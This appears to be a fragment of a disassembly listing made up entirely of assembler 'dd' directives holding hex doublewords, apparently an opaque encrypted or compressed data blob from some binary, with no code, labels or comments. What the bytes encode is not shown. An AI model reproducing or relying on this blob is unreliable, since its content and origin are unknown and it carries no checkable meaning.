		dd 2E03AE0Eh, 0BE4B8708h, 85B82C94h, 36E1AB70h,	24181DC2h
		dd 868DB88Ch, 252DC373h, 3DB8667Dh, 0B22F5136h,	195C395Fh
		dd 71F42ADEh, 0B9C1950Bh, 35550EC2h, 63589B9Dh,	8FC992F5h
		dd 6749F994h, 0BEDB3FBAh, 3AE24534h, 679E6340h,	0AE327E56h
		dd 0E26AB7AEh, 0B89171B8h, 3C6F9C19h, 0DC022DC7h, 0C9713ECCh
		dd 0F7EAF48Fh, 8F8DF245h, 0F9CD1DC4h, 5C64FDC6h, 0E68AC73Ah
		dd 1DC48E6Bh, 7026F9CBh, 5B8019DCh, 0F92E27DAh,	2384DD91h
		dd 22137C91h, 0AF9C9D71h, 0D2E327F9h, 0DF3459B9h, 0F1DC48C4h
		dd 0C7226F9Ch, 4AF9D375h, 596EB89Fh, 17D9D25Fh,	0E24526F9h
		dd 24DC7166h, 674C5B8Eh, 92E27D0Bh, 70CAD91Fh, 225AE245h
		dd 5C722771h, 212DC70Bh, 0F47D34DBh, 5C644BCEh,	0BF6E244Fh
		dd 0C7175C48h, 4B71C7EDh, 27DE8F89h, 0D2F3296Eh, 1101AD85h
		dd 6E247FB7h, 0C01DC72Eh, 6E026771h, 33B89F5Dh,	8A9F7D65h
		dd 89101DC4h, 0DCEDC05Bh
		dd 0C6E327FFh, 1235AFF6h, 1DF390B7h, 0A46F71C8h, 713EA9F3h
		dd 0EEF9946Fh, 303BE48Fh, 0F9CDD712h, 6E327F5Ah, 2283BE6Ch
		dd 0BE726771h, 0B3B8E36h, 0FBF57D70h, 0F7CC967h, 45B5F247h
		dd 7CE6CEE2h, 0DC64FD07h, 91ED7CD8h, 0DF3973B8h, 0E771CC1h
		dd 0D8A0C7F5h, 0BA47E4B8h, 2DCF24D0h, 891C1DF2h, 0B5F390BBh
		dd 675C64FFh, 121DFCCCh, 0F9C55B89h, 35B8E50Eh,	0C4FA3634h
		dd 4DF591ADh, 343BE48Bh, 0F9C3D712h, 0B8C9F90Eh, 8E4DF5B1h
		dd 7CE7ADC4h, 22EE3853h, 13EDADC0h, 0D7CC9177h,	2537C919h
		dd 0F389B712h, 0B8C9FE4Dh, 8B0EF9B1h, 0DF3955C4h, 36E38B3h
		dd 89F536E0h, 0D1E720DBh, 67BE48C2h, 0E52EE245h, 64FD877Ch
		dd 0D7673A5Ch, 0C099DF3h, 865DC7A4h, 4DCBF71Ah,	529C7845h
		dd 4FBF734Bh, 33A3F25Ch, 83479A78h, 0B5A836D9h,	0C77EC95h
		dd 1A0BF9E6h, 21679643h, 6CD328A5h, 99FA6D45h, 9B15B387h
		dd 6DA384B9h, 3DCE69B1h, 73B9A4Dh, 190FDF47h, 0BBE5BBDEh
		dd 3D6FFC13h, 973A36FDh, 0B8CD9F36h, 0AB8D1E7Fh, 0DF93E93Eh
		dd 75C1F04Ch, 9E54D5F8h, 0AD0A11DCh, 0AB087506h, 275F03EAh
		dd 6E6C96DBh, 1D44FFC4h, 0E99AB00Bh, 0CCC1AE69h, 0A69B97E8h
		dd 8F512AD0h, 0D27DADF8h, 247597ACh, 0D2C1885Dh, 4E9E997Eh
		dd 74EA782Ah, 6D8B9467h, 465D50EBh, 0E06F1B0Ah,	2EFA53A1h
		dd 0E34471B6h, 53EE5CE1h, 0CB1E23h, 59875CFFh, 8E7EFDC7h
		dd 3A2E73BCh, 674A86AEh, 5AEB63EAh, 289ACDB7h, 93F589EDh
		dd 0FEBA552Eh, 2E920DD2h, 0E914BA59h, 986E96CEh, 5744EA22h
		dd 6BC59DC2h, 1F82683Dh, 688AB6A3h, 4FB7272Dh, 0F5D223BAh
		dd 6428BB4Ah, 0AAEC856Bh, 16DD253Ch, 0D74B0EE9h, 6DCD1D2Dh
		dd 72E94E72h, 2C1B23A5h, 145DA51Bh, 76434BB2h, 4B3EC85Bh
		dd 0B48A749Bh, 0E1744DA1h, 8E134926h, 7AE0F495h, 49A60B49h
		dd 493EF03Ah, 0FD255A03h, 3F6926D7h, 0EE89EDA2h, 77CD2553h
		dd 0AC59DA54h, 0D11EB492h, 90D133ECh, 1207706Dh, 0B35DF05h
		dd 7FA4AE6Eh, 6D368A26h, 59872DD5h, 82D31D25h, 0CFA1B171h
		dd 0EB916958h, 0A24353FAh, 1BEEA976h, 1D71A512h, 0EC461C72h
		dd 0AFFDC5DFh, 0BFF77FB7h, 0EAF56FE6h, 0BBD593DFh, 0BBBE8188h
		dd 0F8CF0545h, 35895ABDh, 8B6167E8h, 0E9224B78h, 88D8BA59h
		dd 6BBE19Eh, 0EFD3FF7Fh, 74F73B7Dh, 0FEB9F57Dh,	5F7F3E6Dh
		dd 0FBE18161h, 0EDF747DAh, 7B5F8633h, 57DBEFEh,	9FB48A5Dh
		dd 7DAF98ACh, 3DBEEC74h, 7F9BF2D1h, 7DD8FE7Fh, 0EB57AB85h
		dd 8A3F35F5h, 8BF6D870h, 0FDFC6418h, 0BD5EFBF9h, 37E8FCE8h
		dd 3F3D5F82h, 0FB71DFAh, 0BF468F7Fh, 0C2C68B95h, 4DA895E3h
		dd 0FF908BB2h, 0DFA2FBF9h, 0FA47BF71h, 0FB1A1BE7h, 7FCE57FCh
		dd 33F5A625h, 0E3FF5D72h, 0D6318B9Eh, 0B9CA3D4h, 18B66003h
		dd 1D7D7E47h, 0E17B4354h, 0A4BAE07Ah, 0E7711C3Bh, 4BAE8D86h
		dd 8F5D9AB9h, 97B87B72h, 0B58F8B72h, 0D56C250Fh, 1E761C3Ah
		dd 801D24E5h, 3D94FFFBh, 1BA6C2ADh, 4D99DD9Dh, 0B9BC857h
		dd 0FE76906Eh, 52536C1Dh, 0D920B65h, 77128B6Ch,	0FC8C208Dh
		dd 5EDE59Ah, 4B4FF016h,	3E0A5FE1h, 56EC0351h, 0D7C11BD2h
		dd 0F172FB4Ah, 0BC090B62h, 2CF81FD7h, 0E7E1DB99h, 868FB08Ah
		dd 398B7736h, 0BCC61FD8h, 8AC322Ch, 0FD392B71h,	339AB816h
		dd 0DE266394h, 0EC358E45h, 6364B7DFh, 21C653E1h, 428F482Dh
		dd 0B981381Ch, 300F6238h, 4370F79Ah, 62D953DEh,	0FE5C2DE6h
		dd 2873A045h, 5DC1DFA7h, 6C94538Ah, 0AA50CC9Ch,	884F96A7h
		dd 7A73C53Fh, 87175087h, 0D20B442h, 0ADC0EBE3h,	7436D88Eh
		dd 7E07AD45h, 0B91EDCAFh, 0DBA7E09Bh, 12672F4Fh, 981491FEh
		dd 9C64E728h, 97EF4666h, 30DCC470h, 9E7E6D41h, 986FDC5Bh
		dd 0A1C3B84h, 1C3BB360h, 6F53EF6Eh, 0D3449DDAh,	7B94E0BBh
		dd 95955A24h, 48E18D32h, 456CAAC3h, 494F2B1Ah, 0D7520C63h
		dd 31BD88D3h, 0EF29FFE2h, 2AA2E04Bh, 1819FFBBh,	0C0454D90h
		dd 4771D435h, 0BEFBBC43h, 2F822C80h, 1A1A0202h,	28CA6C9Ah
		dd 6E5B809Bh, 156E4B80h, 26A692E5h, 96A4B92Eh, 0E19AE625h
		dd 0E42E4B96h, 0EA51699Eh, 0A996999Bh, 0FFEA1915h, 65677BDCh
		dd 0D3F7B346h, 3F79F7FFh, 3698DFBFh, 9EB3EF73h,	0F9EF9CE7h
		dd 3EE6679Eh, 3A6D00C7h, 6DB08D66h, 0C6F879F7h,	80E5D7CEh
		dd 1966BB4Dh, 6447F935h, 2392D5D4h, 70DFB6C3h, 0FA09B328h
		dd 7CE9C4FDh, 3EC4C99Ch, 0B6598757h, 625CAAE1h,	2677F620h
		dd 0DA6DE7DBh, 0D1E0CDB1h, 87B72ED5h, 0ABCF4C75h, 74E9DE32h
		dd 0DA13E24Ch, 0B58DCE52h, 0B6B103E6h, 7D108225h, 6D39765Dh
		dd 7E6EC12Bh, 588572CEh, 0D97049DBh, 0EA7CED0Ch, 9B749DB4h
		dd 4599CC76h, 16E5DABAh, 0AE93B6B1h, 939F678Eh,	7B815E76h
		dd 98ED2C9Dh, 0B5749133h, 6E6245CBh, 3B5303E7h,	99DA6DFBh
		dd 237E57A7h, 0E1B41036h, 0A37F825h, 480C93A4h,	78E30091h
		dd 373D3D49h, 0AF2BDE1Ah, 3F3FF44Fh, 8E1C6732h,	0CC53EF82h
		dd 292D97FFh, 270EF45Ch, 5372DE6Eh, 78AB246Ah, 8CE90462h
		dd 0A08CD680h, 162AD903h, 0AA11870Dh, 194381E7h, 816404h
		dd 8FFF283Ah, 0A6B57F52h, 53A4F37Ch, 0AC0F24B1h, 9D9D152h
		dd 8671B276h, 9CEA1170h, 0D37FD50Bh, 0B8053D5h,	0C78EF3D4h
		dd 3340BFABh, 5AA91DF7h, 0A63AA657h, 2E529B42h,	1A6A10FFh
		dd 4E3FB8D4h, 0B6F0EFDDh, 491ED7E9h, 0A5869795h, 0CBFC08h
		dd 7F30523Ah, 5FB29AE5h, 72ABDB60h, 0E675B0DEh,	89F5D4FDh
		dd 40A52907h, 5BE804BDh, 85283CBh, 2E9CAE6Bh, 56520D9Dh
		dd 0B0A2386Ah, 999153CBh, 69EE6401h, 29C668C2h,	0ABE55B42h
		dd 0D7F12FE4h, 4FEBB18Dh, 6A964A93h, 7EF0E95Bh,	13F14B94h
		dd 0B43EFA64h, 28115464h, 0A916FE1Dh, 7B55182Dh, 293F56CEh
		dd 38972EE7h, 6B5066B4h, 0BAC6FE1Bh, 31DC287h, 68A6137Ch
		dd 195C165Eh, 0E1823507h, 9AFC1E6Eh, 0FF0476C4h, 4C5A5F4Ch
		dd 0A26419DFh, 60165E21h, 0FFDC2642h, 0FBFD9D2Bh, 85ECA5FAh
		dd 0D3F43B79h, 0E99CBB50h, 54FAA116h, 78CCA6CDh, 5F52ACA5h
		dd 5DE94368h, 0F54604D1h, 0D03D66CFh, 0F40EBDB8h, 4E340E2Ch
		dd 30B918F1h, 6B06A4AAh, 58773E66h, 2450A307h, 4AE568E8h
		dd 0A357A84Ch, 72DCF37Ah, 39542CEDh, 0BE9AFA4Fh, 6D647FDBh
		dd 74670E89h, 0C238282Bh, 0E76E84EEh, 98FF6EAFh, 86D26BC5h
		dd 0B3E1C3E7h, 0BA4B9541h, 553346DAh, 0A96AC556h, 340C26B1h
		dd 0A596DAA8h, 0D582BAEAh, 0DDBC74F0h, 9DE98367h, 7B14756h
		dd 0CA7F536Fh, 0A9553278h, 3578ED29h, 8494AAB8h, 36D5E7A7h
		dd 2AFA58C6h, 0CD1463B2h, 0A646181Ch, 0D5736109h, 0F86D2AB9h
		dd 5E1465ABh, 0B319B464h, 0B542A636h, 999B62C7h, 6568AF59h
		dd 9694F5CCh, 557BD9E0h, 8C9D324Bh, 3DE9D7DEh, 0EA8796A5h
		dd 69F93431h, 976BE218h, 0D4CACC09h, 0DC4E558Ah, 0A8953E1Bh
		dd 8C387FDh, 9A9594h, 0DF528872h, 96ACD817h, 0CE9A2AB6h
		dd 0BD193BFBh, 47584933h, 9DD60112h, 435C8EAEh,	8E756CA8h
		dd 5B3D4FF9h, 0AFC5B1BEh, 197C541Bh, 818C2D0Eh,	981195F6h
		dd 0C2D0A575h, 4A983B19h, 0A8335EDBh, 0EA679FF8h, 0F032A8D3h
		dd 0DBB9B44h, 0F677A7CFh, 2D73A832h, 0D48B9E81h, 0ED52F6B9h
		dd 249544B8h, 0ACB612E4h, 5913999Ch, 64C63125h,	0D0CF6107h
		dd 6AC1D182h, 0CACC4D0Ah, 33FB2A0h, 0B94A4444h,	0B31CEA31h
		dd 7FCD8C54h, 392811E6h
		dd 0A0C7EDBBh, 0ED5C38F5h, 4B06CF23h, 0D0B51Ch,	0F6D48AA5h
		dd 0D637B59Eh, 2774AFA1h, 0CBD5A016h, 7FF9AA72h, 0A1CA4FBFh
		dd 5CBD734Fh, 54F577D5h, 8AAC72F5h, 0ADA4CEC0h,	5A966769h
		dd 8B9260CAh, 0E9E686D6h, 2B10ED32h, 71B7A1D4h,	9F5A6F6Ah
		dd 0B069AB4Fh, 5AA31D5Ch, 0B9036698h, 0A86636AAh, 0FC013BABh
		dd 8BEB5FEBh, 0EAD85716h, 0C6DA8643h, 9F25FA93h, 5C86CDA1h
		dd 8AF35EDCh, 6A45F2D4h, 55C7086Eh, 0AC74ECD2h,	99299FC5h
		dd 47BAFFE7h, 7A554B5Bh, 0AC615651h, 0CF4589AAh, 6CDD0AB0h
		dd 51D159AEh, 8F382FD3h, 0B63082C5h, 4860ADEBh,	0FF1ADDA6h
		dd 0D3AC3E33h, 574ED43Fh, 0B6CA078Bh, 8F5B1BB1h, 0B3C9ADA3h
		dd 313C0559h, 2CAD268h,	0DAACBD75h, 0A992B5A2h,	64D3258Eh
		dd 0DA6DB615h, 0BA6738FBh, 6DF16D9Ah, 0D982B0D9h, 0F70D296Ah
		dd 6032F95h, 57CC0F00h,	0B2DF2F2Dh, 27198ECEh, 1CBCBF9Dh
		dd 8FCD5EA2h, 87B1A9F9h, 0B6380BD5h, 80C1270Bh,	7C11384h
		dd 5D7151F6h, 0F3846B3h, 0D72AAE06h, 0D41D547Dh, 0D4CCA3E6h
		dd 0A1C83D7Ch, 0C684B347h, 51CAB098h, 0EC0B3517h, 0CCA3E364h
		dd 7549E6BEh, 0E50955D3h, 5468E498h, 0D8D66FA5h, 30590E8Eh
		dd 0DC5693FFh, 3C36FC6Dh, 0B67AAA61h, 691E937Ch, 0B26D6DE3h
		dd 1B1DAB4Ah, 0F350F8D4h, 0CF6F1A34h, 3D03806Ah, 0ADA67CECh
		dd 0E31C37A5h, 0CB8D338h, 199995AAh, 0CC4F5987h, 42D9A5FAh
		dd 0C25EA717h, 0A52B5FD6h, 48A2C8B5h, 0FB369B1Dh, 6C75755Ch
		dd 77C315EFh, 14AA912Dh, 8DD8EDD2h, 0B0CE6655h,	354CB2Bh
		dd 0E135E49Eh, 0E5422D92h, 0B0CFF3ABh, 34DC3DF4h, 0B26D0D73h
		dd 0A056284Ch, 0DA1D39CEh, 9BD0692Dh, 0E436C5A3h, 91761E47h
		dd 93E6437Dh, 0D4FDDA60h, 5933CE7Ah, 471D9179h,	0AB996C69h
		dd 4AD14252h, 0AA6793CDh, 5FEC3999h, 2A915E70h,	87930CDBh
		dd 6054C6D3h, 7BA790D1h, 0A8BFFF44h, 9F96E9ADh,	16692BC5h
		dd 96AEA792h, 52286399h, 0CEC4EAEFh, 6CFD5F2h, 2D0AF315h
		dd 5FECC7ACh, 9E5D5A1Ah, 1B399E1Dh, 303FBD95h, 0C9C7B55Fh
		dd 580ED31Ch, 7C8B137Bh, 0E79A8A3Ah, 37CEAC53h,	33F3DD53h
		dd 0F36C23AAh, 0AED811C4h, 808D4374h, 0FBAA4E5Fh, 0C66CCA91h
		dd 1EC47498h, 0ECAA0D43h, 6A6E160Dh, 5432CFCBh,	21302C0Ch
		dd 9B66BD98h, 0DBACCD2Dh, 0AF8E9D2Dh, 0CC0101C8h, 0F84DFDE5h
		dd 9E439E69h, 2A0C0749h, 0A9516AEAh, 0D423EBC2h, 5395E6EBh
		dd 0CCA32ACAh, 0E9A1F534h, 54AC63A4h, 0D58BDA62h, 0DFA6ABD8h
		dd 0D236A6F1h, 8CA1B92Dh, 4F45FBA6h, 91FB09D0h,	39C871B5h
		dd 0A664CE5h, 41B08DBEh, 0F6D520B4h, 0B12C268Ch, 8259BD95h
		dd 971A2AB9h, 9C1DAC38h, 46C36519h, 346468CCh, 17368661h
		dd 5158D1DBh, 0AD87195Bh, 16721B74h, 0DED9CF65h, 0B02D6DEAh
		dd 65E6CD58h, 0C4DD97BBh, 966F7326h, 0A332AA25h, 3D87137Fh
		dd 3EBBDB30h, 2CD3520Eh, 97D54037h, 8DCE1322h, 9746F780h
		dd 176D4D97h, 0AD92B8ABh, 6599A08Eh, 0EB3AC65Fh, 0FFB75186h
		dd 0B87D6C53h, 0DC65073Ah, 9FAE9C4Dh, 0F286CEEDh, 156F743Dh
		dd 19EFEDEBh, 0AB28B954h, 8041E0A5h, 0F7ACEDEAh, 0E8A2A8ACh
		dd 6C5897Ah, 282BECE0h,	0CB2FC8ADh, 0D4024EC4h,	72AA6411h
		dd 0C6A0B229h, 0EEAF0718h, 615CB4EFh, 670DAF03h, 0D392A964h
		dd 0D5B34D62h, 0D9A37C68h, 806AE833h, 0EBDB6BC9h, 0D34F2DAFh
		dd 0D3B9B06Ch, 3147D8D1h, 0F16C4B66h, 7BAD650Ch, 36763E2Eh
		dd 0ADE86569h, 8AADF6ECh, 7373641Ah, 2C2DB6B6h,	50E456EBh
		dd 0E91CE353h, 0E6573C26h, 0E2C267EBh, 1D67282Ch, 0F08F2DA5h
		dd 47309536h, 0FEAAD901h, 6AAE58FBh, 0D6A198D6h, 0FBE36519h
		dd 51203A9Ah, 346AC9A1h, 2A73F76Bh, 58D8DB1Fh, 5512D2D1h
		dd 0B0EB9DF7h, 0AD5A1E23h, 0F761DFDBh, 19498CC9h, 0F7E6B836h
		dd 559A5284h, 8CF3AB65h, 0DA67CB56h, 9304FEE1h,	0DD663826h
		dd 3D9AD8D3h, 6249C17Ah, 4D73A8EAh, 6AAE6311h, 6B40A39Bh
		dd 41B4EC63h, 5AB6AC91h, 62AFB0C5h, 0D346CCE5h,	25A6610Eh
		dd 0B70E04Fh, 11FAB503h, 75867EF3h, 46FE9D4Ch, 0CBCCF61Bh
		dd 16D69DBEh, 65F66EC6h, 96C9CFE6h, 0F6D111Dh, 0AD43AADCh
		dd 0D7D8CAEDh, 269D527Ah, 0DE37346Ah, 63F67C82h, 9BB76D6Fh
		dd 14D4EDA5h, 0B34CE29Bh, 0B257C81Fh, 1AC4D934h, 75FE1A0Ah
		dd 4D053829h, 6E39A99Dh, 2FD7335h, 1B97EFB5h, 0E493C260h
		dd 5B8EAD97h, 0A0E41BF9h, 0D8CF991Bh, 31BFBB7Eh, 55AC7B12h
		dd 0B09C363Ch, 2864EEA6h, 0B7B1A556h, 0B75F1322h, 542D1267h
		dd 78B7B4CBh, 50633F5Bh, 0DD259BDFh, 7B3FE2C6h,	8DA48D3Ah
		dd 8E6B136h, 2B707ECBh,	0ADCE5ABBh, 0FB4CB2Ch, 0A68EA858h
		dd 0A8F45DA5h, 65F473D5h, 0E01A6F56h, 862DBCA4h, 37CD370Eh
		dd 833949D0h, 6D62E44Dh, 28C959D1h, 0C7331313h,	56AD5A68h
		dd 5C364A4Eh, 0D3CACD73h, 117D1D5h, 0A35E75E7h,	0D7D9FE21h
		dd 56937AB2h, 0FDAD994Fh, 37D5449Dh, 3A168314h,	0BD5708D6h
		dd 194BA2B2h, 88EBCE16h, 7B4E2EACh, 0ED8A3853h,	48FD82EEh
		dd 7758DA5Bh, 6DD6D54Fh, 3EC748A3h, 348F961Ah, 5FBB6BB5h
		dd 0B6F31B68h, 0A1BE506Bh, 0E3E3EDB4h, 0CD9EBB86h, 0EDB6A2FFh
		dd 0A2FE8368h, 45EB86ACh, 0E83E704Eh, 5A5032A9h, 84E3DB30h
		dd 0A2DF6806h, 0FB474D41h, 675FB7B4h, 0F2639EB8h, 0EC0DD986h
		dd 0D109F024h, 0E2C9BA52h, 44D296ADh, 5D2376FDh, 0E11D95Dh
		dd 46F95AFEh, 0FFE2C923h, 2E60C634h, 0ED0ED2DBh, 225173ADh
		dd 4A350C89h, 0FBC3B12Eh, 8B54AAC6h, 0E0AA584Dh, 3BCC2443h
		dd 3F585809h, 0E45B2B58h, 0DF7D37C8h, 0D3DA6E90h, 0BB8A6B18h
		dd 0F6D87BCDh, 0A9AC5372h, 68D4B400h, 0FDD6C987h, 0EF6AE1CAh
		dd 2DEF3BB6h, 9642DA9Eh, 555CE72Ah, 1D4B4A02h, 722E941Bh
		dd 0E967A758h, 22DFC9F3h, 0DF7E9BF9h, 31E3D662h, 0DD20B8A6h
		dd 1ADABEB4h, 0CECA7AB6h, 0CD1AF390h, 0F3509C2Dh, 0F80D0528h
		dd 0B2FED8Ah, 97D53B5Ah, 167D8B2Ch, 0ADB25A98h,	0E3C4EBE3h
		dd 270B6B69h, 0B9565A0Ch, 456DB548h, 8C979ABAh,	8369D1B6h
		dd 0B5B09DFAh, 1AA762BFh, 6380DD9Eh, 0F72E339Ah, 0E3553551h
		dd 9BF0B9EFh, 0DCFFB1Ah, 363271BFh, 0F27AA7D8h,	0D9941B7h
		dd 7E56C3BEh, 6CC5A405h, 2EBB2CDDh, 7FDB5CFFh, 0E3BF05F3h
		dd 4DBC9415h, 80DC6B78h, 78B1E387h, 0F829E3Ch, 91F133C2h
		dd 127C58F8h, 8D9F1D3Eh, 0E057C12Fh, 0F855E3EFh, 0DE28FC5Eh
		dd 0B44A6888h, 24117A21h, 190290C1h, 31924646h,	48991C64h
		dd 488390A6h, 8E445923h, 3390A727h, 2DF20AC9h, 97B90B72h
		dd 255E4CBCh, 490F90EFh, 6A97CA37h, 66A2B546h, 0DDA90B52h
		dd 85750D54h, 8B7537FAh, 0E8FDA4F2h, 3D2C74B6h,	2F409E9Ah
		dd 0E799FDA1h, 74CC5E98h, 8A733766h, 0CDBECF99h, 2E4966DEh
		dd 8DC21B9Eh, 657346E0h, 4DEE3CDCh, 0C957096Eh,	70B6E3ADh
		dd 0DCC3B9DBh, 771CEE49h, 0DDCABB99h, 0EAE17EE4h, 179CC7B8h
		dd 0E5B7C01Fh, 0F8BDF1BBh, 0FC0FFCD5h, 0FE77FE1Dh, 0F82EEF11h
		dd 1B42010Ah, 2C1083A1h, 412812F4h, 2909FA16h, 86428BC2h
		dd 850A1460h, 6114C271h, 984F3086h, 0AC2DBC2Fh,	1F0BD614h
		dd 2918A208h, 0C5F3108Eh, 7176E285h, 3C5C788Fh,	9B12DE2Dh
		dd 2612414Bh, 52714B45h, 0F486F4B1h, 391F258h, 0A472F6E4h
		dd 2A3E4DBCh, 9DFC3F2Bh, 6B4EE6A4h, 7A47B48Dh, 2E486921h
		dd 459C8D52h, 6896D0DCh
		dd 0A500BA29h, 0C28B1131h, 0B1FD62FAh, 0C4ED841h, 0EBE37BC7h
		dd 19C4BDF1h, 8B713AE2h, 13D44BB8h, 0B213649Eh,	0EC8DD92Dh
		dd 14641249h, 51A54E19h, 0F4A3A94Bh, 5E659A19h,	214C8C64h
		dd 0C5598633h, 33AE666Ch, 0ACAE323Fh, 6D94DB27h, 3B65B6C1h
		dd 18B3CFB3h, 6C61B2CBh, 1D9E361Fh, 99B1A6C0h, 84B648ECh
		dd 62CEC29Dh, 0B08F64DFh, 0D72F9C2Eh, 4DC31B9Fh, 7371A6E2h
		dd 0C5B837B8h, 2D6E0ADCh, 0E2AB99B7h, 0B9FB7376h, 770D5CA3h
		dd 0C7E42B81h, 2AF94BF1h, 8FBF377Eh, 0E29FCC3Fh, 7CB5F3CFh
		dd 9426EF1Dh, 5985D30Ah, 610A9120h, 0A84CB0B1h,	5480D614h
		dd 845B0936h, 0A11EC21Dh, 1C28385Ah, 350B8E11h,	0A2E159C2h
		dd 135C2B50h, 84B7086Eh, 0A17DC23Bh, 5C17A84Eh,	29E8BD44h
		dd 627E8AFAh, 0C4AD8A0h, 67620D12h, 110C5831h, 19109111h
		dd 40C31051h, 9C6231B2h, 88A62898h, 389A62A9h, 7312CC4Ch
		dd 50B15CC4h, 8BC7112Ch, 7152C493h, 0AC4B38BAh,	8B881710h
		dd 0A56265C5h, 2F5C46B8h, 0C4AB116Eh, 0D50EB01Dh, 8F141E2h
		dd 788D46ACh, 5E28BC56h, 6BC56B16h, 8EF10DE2h, 13AC5F78h
		dd 491745EBh, 0BE4A792Fh, 28149F92h, 32B582B5h,	60A59D48h
		dd 24424429h, 41246242h, 6062930Ah, 14A512EDh, 934A5529h
		dd 52394986h, 952854AEh, 49A5E348h, 5D34A952h, 93CD259Ah
		dd 0D205A42Ah, 54996962h, 0D691AD29h, 2DA49B4Bh, 43B49552h
		dd 4B5523DAh, 0D223A507h, 3A46A971h, 6A945D2Bh,	0DD26BA5h
		dd 477496E9h, 49D52FBAh, 0AC8B92F5h, 5F653D97h,	940E4FD9h
		dd 0B241C95Bh, 72CEE41h, 223221CBh, 0B233213h, 49681872h
		dd 27271C8Ch, 0AA7229CAh, 930F269Ch, 0B95CE473h, 0C7912E50h
		dd 52E493CBh, 4B3CBA79h, 0C857279Eh, 0F2C5E40Bh, 5E52B932h
		dd 3797AF23h, 2AE45BC9h, 47BC8779h, 0CA0F96AEh,	72E3E447h
		dd 0BE567C8Dh, 6B965F28h, 0DF26BE5h, 477C96F9h,	0C9D72FBEh
		dd 43F2B2F5h, 2B6CE554h, 788F4417h, 1F88BE22h, 42B48812h
		dd 12031082h, 820848Ch,	120C2042h, 31224486h, 88921C48h
		dd 0C8A920A4h, 0C90B2430h, 442D0D01h, 0C8F1904Ah, 9914A424h
		dd 2A43CC85h, 62C80590h, 89521964h, 23D641ACh, 482D909Bh
		dd 0D903B215h, 107C7A03h, 471C8239h, 2F9F406Ah,	5A919722h
		dd 3721AE4h, 41DC85B9h,	487523EEh, 0EA82E23Dh, 17D44F51h
		dd 0D10343F5h, 6A106856h, 10D18340h, 94094114h,	0C340541h
		dd 0D063448Dh, 4D113438h, 34D15341h, 859A1874h,	68B9A0E6h
		dd 8E825A21h, 75812747h, 0A167474Ch, 0B00AD0F3h, 32E8C592h
		dd 835D12B4h, 0A13747AEh, 742AD05Bh, 0AD07BA07h, 47A20F46h
		dd 0D68E3D0h, 8CBD117Ah, 0D0D7A2D6h, 0F42DE81Bh, 0D6875A0Eh
		dd 1E982EA3h, 317CC4F3h, 6B102C3Fh, 6610585h, 8C1633ACh
		dd 0C6086085h, 86160260h, 58316245h, 0A588961Ch, 1A58A960h
		dd 0C2CB0C36h, 0AC5CB072h, 0C6C12B10h, 52B09363h, 0B363A6Ch
		dd 6016C0ABh, 5865B18Bh, 5B06B625h, 0AAC16D8Fh,	1ED81DB0h
		dd 883B1AACh, 638EC11Dh, 0EC59D835h, 0AB197622h, 3761AEC5h
		dd 1DD85BB0h, 87563EECh, 0B82E63D5h, 7DC4F71Eh,	103C3F71h
		dd 107856Fh, 21E3065Eh,	38138238h, 18780B83h, 0E0C7891Eh
		dd 0E0227871h, 869E2A67h, 0F0B3C30Fh, 2F173C1Ch, 0F1F04BC4h
		dd 80A5A480h, 79F0B3A5h, 0BE0578h, 0C32F8C5Fh, 8035F12Bh
		dd 57005B07h, 0F07BE077h, 7E20FC6Ah, 0D78E3F04h, 8BF167E0h
		dd 16BC65F8h, 0C0DF86BFh, 0F077E16Fh, 5E1D78FBh, 0CC43C38Fh
		dd 4BE12784h, 448111F8h, 3088222Bh, 60899D10h, 8408422h
		dd 81086082h, 89222308h, 488E2218h, 54885224h, 45911862h
		dd 44B910E4h, 8C425121h, 0E9894A27h, 1E622CC4h,	202C4151h
		dd 88CB1316h, 0B10D624Ah, 6C44D89Eh, 1D88AA21h,	90713544h
		dd 271C4238h, 0C4B3886Ah, 5132E245h, 6E235C4Bh,	21DD4200h
		dd 807513EEh, 9EA42E52h, 497D24F4h, 1915B23Fh, 0CEC81A44h
		dd 42193064h, 0FC436422h, 0C8D3254Fh, 99166461h, 8592E643h
		dd 82780964h, 39296449h, 0CE459C9Dh, 80B07F03h,	232E4C5Ch
		dd 0E435C92Bh, 550CF07Ah, 0F720EE4h, 241E4D59h,	0C9C7908Fh
		dd 792CF21Ah, 2D457C11h, 5BC8379h, 593EE2FEh, 7A50BA47h
		dd 86BC13CAh, 7E08151Fh, 50328823h, 2A60A99Dh, 82284284h
		dd 0A812862h, 18A922A3h, 0A44A8E2Ah, 87370152h,	0E545951h
		dd 50954855h, 6A52A9E3h, 9A8B353Ah, 0C505547h, 7461D02Dh
		dd 0C7431D24h, 0A7489D1h, 483E81BDh, 309A6237h,	0A63B4C81h
		dd 799FD333h, 0D4CAD981h, 9458DD32h, 36FC8DDh, 0FFC43C34h
		dd 67C0EBC9h, 9B617ACh,	0BFE251h, 97C44AA9h, 0AE225C5h
		dd 46D89771h, 48D221Ah,	0AF27989Ch, 8BCBB03h, 7CA3F8D6h
		dd 0FC1ED657h, 239DF350h, 0A427485Eh, 201783Bh,	21064289h
		dd 0DEB6C133h, 0F6443E43h, 40DD1583h, 686ED13Ch, 1CFFE828h
		dd 87A2F74h, 61D51DFDh,	58D6B0CDh, 22C78C7Bh, 0B1E35B40h
		dd 6C65EC74h, 3B0C761Bh, 1EC3DD83h, 5EF1AD60h, 10BE1178h
		dd 0F117A3B4h, 0E411115h, 0DF929724h, 40E9E352h, 0B03A6246h
		dd 3E33C03Dh, 4B94B66h,	817F20FEh, 14E120Fh, 6D8ABB12h
		dd 40E2BEC5h, 289C58B1h, 2B5D0F6Ah, 0A471E739h,	0DBFED82Fh
		dd 0F5E85AE8h, 6C1A7A20h, 0C7AA26E9h, 0A11D605Ah, 0F34117CFh
		dd 412760B7h, 0EDE09BB7h, 117F1E71h, 0F13265B4h, 4F47681Ah
		dd 43EC9C32h, 0A45EA3F5h, 0A8175226h, 0F04B7466h, 1E7409D0h
		dd 0A14F4C5Dh, 0F415D067h, 7D2B7A66h, 5F4A3E80h, 3FD3AFA4h
		dd 0A2400FD2h, 0A620998Dh, 28EEF83Bh, 67298326h, 98CB31E6h
		dd 0E0A7CC9Dh, 0BF03BFC5h, 8106CBE5h, 4D992B7h,	993B3076h
		dd 0B256C69Dh, 2CF5B31Fh, 3F5CD1CAh, 9237106Eh,	82C6E42Bh
		dd 0BDCD9AAFh, 0D6E22DC6h, 8BDCBEABh, 0E45FE40Fh, 7E4AF8CBh
		dd 0F55DBF13h, 2A42314Fh, 0C285EA78h, 0F0B4E17Eh, 0FE0A6858h
		dd 209C4E24h, 72AB0ABEh, 6C53FC52h, 289F280Ah, 0BCEF064Dh
		dd 0DD293A57h, 1964DC93h, 0AC207750h, 3BA89292h, 32F0E415h
